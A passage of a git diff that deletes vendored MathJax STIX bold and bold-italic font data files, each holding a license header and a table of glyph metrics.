- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{8319:[700,-275,491,15,478]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/SuperAndSubscripts.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SuppMathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SuppMathOperators.js
deleted file mode 100644
index 45de0952..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SuppMathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/SuppMathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{10764:[824,320,1484,32,1664],10765:[824,320,593,32,733],10766:[824,320,593,32,733],10767:[824,320,593,32,733],10768:[824,320,593,32,733],10769:[824,320,593,32,733],10770:[824,320,613,32,733],10771:[824,320,593,32,733],10772:[824,320,675,32,735],10773:[824,320,593,32,733],10774:[824,320,623,32,733],10775:[824,320,791,32,871],10776:[824,320,633,32,733],10777:[824,320,653,32,733],10778:[824,320,653,32,733],10779:[959,320,557,32,737],10780:[824,455,557,32,737],10786:[894,57,750,65,685],10787:[736,57,750,65,685],10788:[746,57,750,65,685],10789:[563,287,750,65,685],10790:[563,240,750,65,685],10791:[563,247,780,65,778],10794:[297,37,750,66,685],10795:[543,37,750,66,685],10800:[745,33,702,66,636],10801:[538,191,702,66,636],10802:[538,59,702,66,636],10815:[676,0,734,27,707],10846:[887,28,640,52,588],10851:[536,379,640,52,588],10854:[399,161,750,68,682],10855:[775,-27,750,68,682],10858:[565,-132,750,67,682],10861:[759,60,750,68,683],10862:[884,-107,750,68,682],10863:[752,-26,750,68,683],10864:[680,176,750,68,683],10865:[665,159,750,65,685],10866:[665,159,750,65,685],10867:[568,60,750,67,682],10877:[648,140,750,80,670],10878:[648,140,750,80,670],10887:[646,213,750,80,670],10888:[646,213,750,80,670],10889:[792,305,750,67,682],10890:[792,305,750,67,682],10901:[648,140,750,80,670],10902:[648,140,750,80,670],10909:[689,183,750,67,682],10910:[689,183,750,67,682],10927:[619,111,750,80,670],10928:[619,111,750,80,670],10941:[547,13,750,82,668],10942:[547,13,750,82,668],10949:[730,222,750,80,670],10950:[730,222,750,80,670]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/SuppMathOperators.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/AlphaPresentForms.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/AlphaPresentForms.js
deleted file mode 100644
index 5d13315c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/AlphaPresentForms.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/AlphaPresentForms.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{64256:[698,205,613,-169,726],64257:[703,205,556,-188,514],64258:[704,205,556,-186,553],64259:[703,205,856,-169,814],64260:[704,205,854,-169,851]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/AlphaPresentForms.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/BasicLatin.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/BasicLatin.js
deleted file mode 100644
index 392375f5..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{32:[0,0,250,0,0],33:[684,13,389,67,370],34:[685,-398,555,136,536],35:[700,0,500,-32,532],36:[733,100,500,-20,497],37:[706,29,757,80,707],38:[682,19,849,76,771],39:[685,-398,278,128,268],40:[685,179,333,28,344],41:[685,179,333,-44,271],42:[685,-252,500,101,492],43:[506,0,570,33,537],44:[134,182,250,-60,144],45:[282,-166,333,2,271],46:[135,13,250,-9,139],47:[685,18,278,-64,342],48:[683,14,500,17,477],49:[683,0,500,5,419],50:[683,0,500,-27,446],51:[683,13,500,-14,450],52:[683,0,500,-15,503],53:[669,13,500,-11,486],54:[679,15,500,23,509],55:[669,0,500,52,525],56:[683,13,500,3,476],57:[683,10,500,-12,475],58:[459,13,333,23,264],59:[459,183,333,-25,264],60:[518,12,570,31,539],61:[399,-107,570,33,537],62:[518,12,570,31,539],63:[684,13,500,79,470],64:[685,18,939,118,825],65:[683,0,667,-68,593],66:[669,0,667,-25,624],67:[685,18,667,32,677],68:[669,0,722,-46,685],69:[669,0,667,-27,653],70:[669,0,667,-13,660],71:[685,18,722,21,705],72:[669,0,778,-24,799],73:[669,0,389,-32,406],74:[669,99,500,-46,524],75:[669,0,667,-21,702],76:[669,0,611,-22,590],77:[669,12,889,-29,917],78:[669,15,722,-27,748],79:[685,18,722,27,691],80:[669,0,611,-28,613],81:[685,208,722,27,691],82:[669,0,667,-28,623],83:[685,18,556,2,526],84:[669,0,611,49,650],85:[669,18,722,67,744],86:[669,18,667,66,715],87:[669,18,889,64,940],88:[669,0,667,-24,694],89:[669,0,611,71,659],90:[669,0,611,-12,589],91:[674,159,333,-37,362],92:[685,18,278,-1,279],93:[674,157,333,-56,343],94:[669,-304,570,67,503],95:[-75,125,500,0,500],96:[697,-516,333,85,297],97:[462,14,500,-21,456],98:[699,13,500,-14,444],99:[462,13,444,-5,392],100:[699,13,500,-21,517],101:[462,13,444,5,398],102:[698,205,333,-169,446],103:[462,203,500,-52,477],104:[699,9,556,-13,498],105:[684,9,278,2,262],106:[685,207,278,-189,279],107:[699,8,500,-23,483],108:[699,9,278,2,290],109:[462,9,778,-14,723],110:[462,9,556,-6,494],111:[462,13,500,-3,441],112:[462,205,500,-120,446],113:[462,205,500,1,471],114:[462,0,389,-21,389],115:[462,13,389,-19,333],116:[594,9,278,-11,281],117:[462,9,556,15,493],118:[462,13,444,15,401],119:[462,13,667,15,614],120:[462,13,500,-45,469],121:[462,205,444,-94,392],122:[449,78,389,-43,368],123:[686,187,348,4,436],124:[685,18,220,66,154],125:[686,187,348,-129,303],126:[331,-175,570,54,516]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/BasicLatin.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/BoxDrawing.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/BoxDrawing.js
deleted file mode 100644
index 1443a62b..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/BoxDrawing.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/BoxDrawing.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{9472:[340,-267,708,-11,719],9474:[910,303,696,312,385],9484:[340,303,708,318,720],9488:[340,303,708,-11,390],9492:[910,-267,708,318,720],9496:[910,-267,708,-11,390],9500:[910,303,708,318,720],9508:[910,303,708,-11,390],9516:[340,303,708,-11,719],9524:[910,-267,708,-11,719],9532:[910,303,708,-11,719],9552:[433,-174,708,-11,719],9553:[910,303,708,225,484],9554:[433,303,708,318,720],9555:[340,303,708,225,720],9556:[433,303,708,225,719],9557:[433,303,708,-11,390],9558:[340,303,708,-11,483],9559:[433,303,708,-11,483],9560:[910,-174,708,318,720],9561:[910,-267,708,225,720],9562:[910,-174,708,225,719],9563:[910,-174,708,-11,390],9564:[910,-267,708,-11,483],9565:[910,-174,708,-11,483],9566:[910,303,708,318,720],9567:[910,303,708,225,720],9568:[910,303,708,225,720],9569:[910,303,708,-11,390],9570:[910,303,708,-11,483],9571:[910,303,708,-11,483],9572:[433,303,708,-11,719],9573:[340,303,708,-11,719],9574:[433,303,708,-11,719],9575:[910,-174,708,-11,719],9576:[910,-267,708,-11,719],9577:[910,-174,708,-11,719],9578:[910,303,708,-11,719],9579:[910,303,708,-11,719],9580:[910,303,708,-11,719]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/BoxDrawing.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/CombDiactForSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/CombDiactForSymbols.js
deleted file mode 100644
index caa69c8b..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/CombDiactForSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/CombDiactForSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{8413:[760,254,0,-753,256]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/CombDiactForSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/ControlPictures.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/ControlPictures.js
deleted file mode 100644
index 98f68bf2..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/ControlPictures.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/ControlPictures.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{9251:[31,120,500,40,460]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/ControlPictures.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/CurrencySymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/CurrencySymbols.js
deleted file mode 100644
index 9c8da2cb..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/CurrencySymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/CurrencySymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{8355:[669,0,668,-13,661],8356:[683,12,500,-32,510],8359:[669,13,1229,-28,1173],8364:[681,17,562,34,546]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/CurrencySymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Cyrillic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Cyrillic.js
deleted file mode 100644
index 356fbee1..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Cyrillic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Cyrillic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/EnclosedAlphanum.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/EnclosedAlphanum.js
deleted file mode 100644
index cb486097..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/EnclosedAlphanum.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/EnclosedAlphanum.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{9312:[690,19,695,0,695],9313:[690,19,695,0,695],9314:[690,19,695,0,695],9315:[690,19,695,0,695],9316:[690,19,695,0,695],9317:[690,19,695,0,695],9318:[690,19,695,0,695],9319:[690,19,695,0,695],9320:[690,19,695,0,695],9398:[690,19,695,0,695],9399:[690,19,695,0,695],9400:[690,19,695,0,695],9401:[690,19,695,0,695],9402:[690,19,695,0,695],9403:[690,19,695,0,695],9404:[690,19,695,0,695],9405:[690,19,695,0,695],9406:[690,19,695,0,695],9407:[690,19,695,0,695],9408:[690,19,695,0,695],9409:[690,19,695,0,695],9410:[690,19,695,0,695],9411:[690,19,695,0,695],9412:[690,19,695,0,695],9413:[690,19,695,0,695],9414:[690,19,695,0,695],9415:[690,19,695,0,695],9416:[690,19,695,0,695],9417:[690,19,695,0,695],9418:[690,19,695,0,695],9419:[690,19,695,0,695],9420:[690,19,695,0,695],9421:[690,19,695,0,695],9422:[690,19,695,0,695],9423:[690,19,695,0,695],9424:[690,19,695,0,695],9425:[690,19,695,0,695],9426:[690,19,695,0,695],9427:[690,19,695,0,695],9428:[690,19,695,0,695],9429:[690,19,695,0,695],9430:[690,19,695,0,695],9431:[690,19,695,0,695],9432:[690,19,695,0,695],9433:[690,19,695,0,695],9434:[690,19,695,0,695],9435:[690,19,695,0,695],9436:[690,19,695,0,695],9437:[690,19,695,0,695],9438:[690,19,695,0,695],9439:[690,19,695,0,695],9440:[690,19,695,0,695],9441:[690,19,695,0,695],9442:[690,19,695,0,695],9443:[690,19,695,0,695],9444:[690,19,695,0,695],9445:[690,19,695,0,695],9446:[690,19,695,0,695],9447:[690,19,695,0,695],9448:[690,19,695,0,695],9449:[690,19,695,0,695],9450:[690,19,695,0,695]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/EnclosedAlphanum.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GeneralPunctuation.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GeneralPunctuation.js
deleted file mode 100644
index a582f29f..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{8208:[282,-166,333,-4,273],8209:[282,-166,333,-4,273],8210:[282,-166,500,-40,477],8211:[269,-178,500,-40,477],8212:[269,-178,1000,-40,977],8216:[685,-369,333,128,332],8217:[685,-369,333,98,302],8218:[134,182,333,-5,199],8219:[685,-369,333,128,302],8220:[685,-369,500,53,513],8221:[685,-369,500,53,513],8222:[134,182,500,-57,403],8223:[685,-369,500,92,513],8224:[685,145,500,91,494],8225:[685,139,500,10,493],8226:[462,-42,560,70,490],8230:[135,13,1000,40,852],8240:[706,29,1118,80,1068],8241:[706,29,1480,80,1430],8249:[415,-32,333,32,303],8250:[415,-32,333,10,281],8254:[637,-565,500,0,500],8260:[688,12,183,-168,345]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/GeneralPunctuation.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekAndCoptic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekAndCoptic.js
deleted file mode 100644
index 8143e815..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{900:[680,-516,300,140,319],901:[680,-516,380,27,440],902:[693,0,667,-68,593],903:[459,-311,333,116,264],904:[693,0,700,10,748],905:[693,0,850,9,889],906:[693,0,450,9,503],908:[693,18,722,11,691],910:[693,0,700,8,855],911:[693,0,808,25,774],912:[680,9,278,6,419],913:[683,0,667,-68,593],914:[669,0,667,-25,624],915:[669,0,585,-13,670],916:[683,0,667,-65,549],917:[669,0,667,-27,653],918:[669,0,611,-12,589],919:[669,0,778,-24,799],920:[685,18,718,27,691],921:[669,0,389,-32,406],922:[669,0,667,-21,702],923:[683,0,655,-68,581],924:[669,12,889,-29,917],925:[669,15,722,-27,748],926:[669,0,746,25,740],927:[685,18,722,27,691],928:[669,0,778,-24,799],929:[669,0,611,-28,613],931:[669,0,633,-11,619],932:[669,0,611,49,650],933:[685,0,611,21,697],934:[669,0,771,26,763],935:[669,0,667,-24,694],936:[685,0,661,17,780],937:[685,0,808,25,774],938:[905,0,389,-32,486],939:[905,0,611,21,697],940:[680,13,576,-3,574],941:[680,13,454,-5,408],942:[680,205,488,-7,474],943:[680,9,278,2,286],944:[680,13,536,-7,500],945:[462,13,576,-3,574],946:[698,205,500,-79,480],947:[462,204,438,3,461],948:[698,13,496,-3,456],949:[462,13,454,-5,408],950:[698,205,415,-5,473],951:[462,205,488,-7,474],952:[698,13,501,-3,488],953:[462,9,278,2,238],954:[462,12,500,-23,504],955:[698,18,484,-34,459],956:[449,205,523,-82,483],957:[462,13,469,-23,441],958:[698,205,415,-5,426],959:[462,13,500,-3,441],960:[449,15,558,-6,570],961:[462,205,495,-81,447],962:[462,205,415,-5,447],963:[449,13,499,-3,536],964:[449,9,415,4,455],965:[462,13,536,-7,477],966:[462,205,678,-3,619],967:[462,205,404,-136,515],968:[462,205,652,-5,715],969:[462,13,735,-3,676],970:[655,9,278,2,351],971:[655,13,536,-7,477],972:[680,13,500,-3,441],973:[680,13,536,-7,477],974:[680,13,735,-3,676],976:[696,12,500,42,479],977:[698,13,582,8,589],978:[685,0,611,21,696],981:[699,205,678,-3,619],982:[449,13,828,-2,844],984:[685,200,722,27,691],985:[462,205,500,-3,441],986:[685,205,669,32,665],987:[492,205,475,-5,509],988:[669,0,667,-13,670],989:[450,190,525,32,507],990:[793,18,757,-7,758],991:[698,0,485,16,466],992:[685,205,734,27,710],993:[639,205,530,47,467],1008:[462,15,569,-50,592],1009:[462,206,517,-12,458],1012:[685,18,722,27,691],1013:[463,13,466,-3,429],1014:[460,16,486,-5,427]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/GreekAndCoptic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekBoldItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekBoldItalic.js
deleted file mode 100644
index df9154fb..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekBoldItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekBoldItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{120604:[685,0,759,39,724],120605:[669,0,726,42,715],120606:[669,0,634,42,749],120607:[685,0,632,32,589],120608:[669,0,732,42,754],120609:[669,0,797,66,830],120610:[669,0,891,42,946],120611:[685,16,783,55,755],120612:[669,0,502,42,557],120613:[669,0,795,42,839],120614:[685,0,759,39,724],120615:[669,0,1016,42,1071],120616:[669,0,869,42,924],120617:[669,0,718,57,757],120618:[685,16,777,55,755],120619:[669,0,887,39,942],120620:[669,0,612,42,733],120621:[685,16,783,55,755],120622:[669,0,759,64,787],120623:[669,0,568,28,700],120624:[685,0,589,31,721],120625:[669,0,827,28,799],120626:[669,0,808,28,830],120627:[685,0,694,30,781],120628:[685,0,826,57,815],120629:[669,16,632,43,600],120630:[461,12,624,44,630],120631:[685,205,555,28,583],120632:[462,203,490,44,503],120633:[685,8,538,44,538],120634:[462,10,495,28,451],120635:[685,203,472,44,522],120636:[462,205,517,33,511],120637:[686,11,566,44,555],120638:[462,9,318,55,274],120639:[462,0,560,55,577],120640:[685,16,570,55,537],120641:[449,205,636,33,603],120642:[459,10,523,55,534],120643:[685,203,476,28,487],120644:[462,10,561,44,539],120645:[449,13,579,39,590],120646:[462,205,595,33,562],120647:[462,203,480,39,508],120648:[449,10,592,44,603],120649:[449,7,469,33,502],120650:[462,10,552,33,535],120651:[462,205,706,55,667],120652:[462,204,621,33,676],120653:[462,205,701,33,756],120654:[462,10,687,22,665],120655:[686,10,559,44,559],120656:[461,10,481,44,481],120657:[698,13,607,33,584],120658:[462,15,607,-12,630],120659:[685,205,683,44,655],120660:[462,205,585,44,563],120661:[449,10,868,33,879]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/GreekBoldItalic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekSSBoldItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekSSBoldItalic.js
deleted file mode 100644
index 9f3f2c51..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekSSBoldItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/GreekSSBoldItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{120720:[690,0,690,25,665],120721:[676,0,706,60,671],120722:[676,0,602,60,705],120723:[690,0,720,40,680],120724:[676,0,683,60,708],120725:[676,0,707,25,769],120726:[676,0,748,60,783],120727:[691,19,847,90,822],120728:[676,0,435,50,505],120729:[676,0,712,60,796],120730:[690,0,686,20,646],120731:[676,0,933,60,981],120732:[676,18,744,60,792],120733:[676,0,690,47,737],120734:[692,18,849,90,824],120735:[676,0,745,60,783],120736:[676,0,581,60,675],120737:[691,19,847,90,822],120738:[676,0,696,21,748],120739:[676,0,641,87,715],120740:[691,0,671,91,799],120741:[676,0,835,72,835],120742:[676,0,740,20,833],120743:[691,0,791,125,901],120744:[691,0,816,47,816],120745:[664,30,780,120,760],120746:[473,14,678,47,703],120747:[692,205,552,-12,581],120748:[473,204,525,84,571],120749:[692,14,507,30,547],120750:[473,14,504,45,508],120751:[692,205,480,49,539],120752:[473,205,532,38,525],120753:[692,14,560,65,553],120754:[462,14,325,56,302],120755:[473,0,537,38,582],120756:[692,14,574,18,540],120757:[462,205,594,-12,569],120758:[473,14,525,41,565],120759:[692,205,481,43,525],120760:[473,14,543,45,515],120761:[462,14,632,45,656],120762:[473,205,560,-33,536],120763:[473,205,517,52,554],120764:[462,14,614,45,639],120765:[462,14,523,42,547],120766:[473,14,550,61,526],120767:[473,205,683,55,659],120768:[473,205,575,-80,626],120769:[473,205,703,75,751],120770:[461,14,756,64,732],120771:[691,14,548,45,539],120772:[473,14,468,45,470],120773:[692,14,579,54,579],120774:[473,10,646,-10,665],120775:[692,205,678,48,654],120776:[473,205,544,38,520],120777:[462,14,889,40,912]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/GreekSSBoldItalic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/IPAExtensions.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/IPAExtensions.js
deleted file mode 100644
index 97737685..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/IPAExtensions.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/IPAExtensions.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{592:[473,14,512,13,492],593:[473,14,612,25,592],594:[473,14,612,25,592],595:[691,13,500,-14,449],596:[462,13,444,-5,392],597:[462,157,444,-5,406],598:[699,233,500,-21,517],599:[683,13,570,-21,653],600:[462,13,444,5,421],601:[462,13,444,5,398],602:[462,13,626,5,626],603:[475,14,444,5,482],604:[475,14,480,5,469],605:[475,14,689,5,689],606:[475,14,486,7,475],607:[462,207,367,-100,364],608:[683,245,720,-52,751],609:[472,245,549,-52,520],610:[462,11,561,21,544],611:[462,234,444,20,400],612:[450,10,493,10,488],613:[459,249,556,-13,498],614:[683,9,556,-13,498],615:[683,205,533,-13,475],616:[684,9,278,-10,262],617:[456,8,253,2,237],618:[462,0,304,-32,321],619:[699,9,320,9,368],620:[699,9,445,17,417],621:[699,233,291,-47,290],622:[699,236,623,2,585],623:[462,9,778,-14,723],624:[462,233,778,-14,723],625:[462,233,759,-14,704],626:[462,233,694,-109,632],627:[462,233,505,-6,486],628:[462,12,588,-27,614],629:[462,13,500,-3,441],630:[462,5,749,23,751],631:[477,2,685,-3,626],632:[685,231,691,-3,632],633:[462,0,427,0,410],634:[699,0,493,0,476],635:[462,233,436,0,417],636:[462,233,389,-87,389],637:[462,233,389,-47,389],638:[48